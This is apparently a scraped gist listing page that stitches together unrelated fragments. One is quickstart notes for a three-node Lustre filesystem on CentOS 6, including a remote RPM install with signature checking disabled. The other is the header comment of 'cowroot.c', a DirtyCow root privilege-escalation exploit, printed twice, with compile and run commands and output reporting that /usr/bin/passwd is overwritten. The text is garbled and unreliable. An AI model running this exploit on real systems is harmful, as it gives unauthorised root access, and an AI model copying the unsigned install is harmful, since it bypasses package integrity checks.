Neil Munday neilmunday

## Three-Node-LustreFS-Cluster-Quickstart.md

      
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                joshuar
                / Three-Node-LustreFS-Cluster-Quickstart.md
            
            
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              July 22, 2020 09:52
            
              
                Quick three-node Lustre set-up on CentOS 6
              
          
    Mostly following the guide found here:
https://wiki.hpdd.intel.com/display/PUB/Create+and+Mount+a+Lustre+Filesystem

Downgrade kernel if needed:

yum remove kernel-2.6.32-<whatever>*


Enable EPEL repo:

yum install epel-release


Enable ZFS on Linux repo:
yum localinstall --nogpgcheck http://archive.zfsonlinux.org/epel/zfs-release.el6.noarch.rpm


## cowroot.c
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
	/*
	* (un)comment correct payload first (x86 or x64)!
	*
	* $ gcc cowroot.c -o cowroot -pthread
	* $ ./cowroot
	* DirtyCow root privilege escalation
	* Backing up /usr/bin/passwd.. to /tmp/bak
	* Size of binary: 57048
	* Racing, this may take a while..
	* /usr/bin/passwd overwritten